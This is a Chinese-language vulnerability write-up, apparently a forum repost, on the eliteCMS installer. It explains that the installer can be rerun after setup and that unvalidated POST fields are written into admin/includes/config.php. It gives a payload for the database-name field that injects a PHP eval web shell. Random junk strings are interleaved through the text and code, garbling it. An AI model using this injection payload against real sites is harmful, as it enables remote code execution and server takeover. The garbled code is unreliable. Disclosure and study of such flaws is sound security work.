eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
4 r. ~8 h0 v. t) L
/ X' {. w8 U  C" g5 a0 _另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
; g. N1 f3 R3 B+ a) v
...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
- o. ?& K& l# O! T    $write = "<?php\n";
7 b4 X1 D" _4 W    $write .= "/**\n";
    $write .= "*\n";
0 [6 O# F. D) g4 [    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
1 t# s/ g9 v# m( u0 z& Z8 g9 ^; J...略...
    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
) Y9 W% Y% t" C- p; t    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
! U! L1 \' f6 ]6 G9 t    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
# G/ X4 ^/ t* G4 s; E2 Z3 j    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
( x# I6 T) b. v    $write .= "        \n";
5 ^/ S0 b! R7 A; J8 h    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
, G0 e/ L& r+ J8 y' p    $write .= "if (!\$db_select) {\n";
: K, H1 ?0 T& K" ]' Y7 ^: v8 c    $write .= "        die(\"Database select failed\" .mysql_error());\n";
  [& f/ c- e9 G) h2 ^. c; E    $write .= "        \n";
    $write .= "} \n";
( G. x& E% V: z% t, s0 [    $write .= "?>\n";
, t% `0 \! w4 D' U9 J3 l, I
2 R+ Q( R3 s# x9 O$ x    $writer = fopen($file, 'w');
...

在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
+ L: a2 M, t; L" T# }; e$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
' k9 {* z; d% ~' `1 I. b$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
- n4 f* O7 N# _* C/ H* [! r/ P
取值未作任何验证
如果将数据库名POST数据：
, O/ W3 p1 F0 F
6 e( U1 p; W1 j" W"?><?php eval($_POST[c]);?><?php
' D8 \. t& \- h1 v1 l
! i% D0 j+ ?, N  ]5 |' L( Y, F' g将导致一句话后门写入/admin/includes/config.php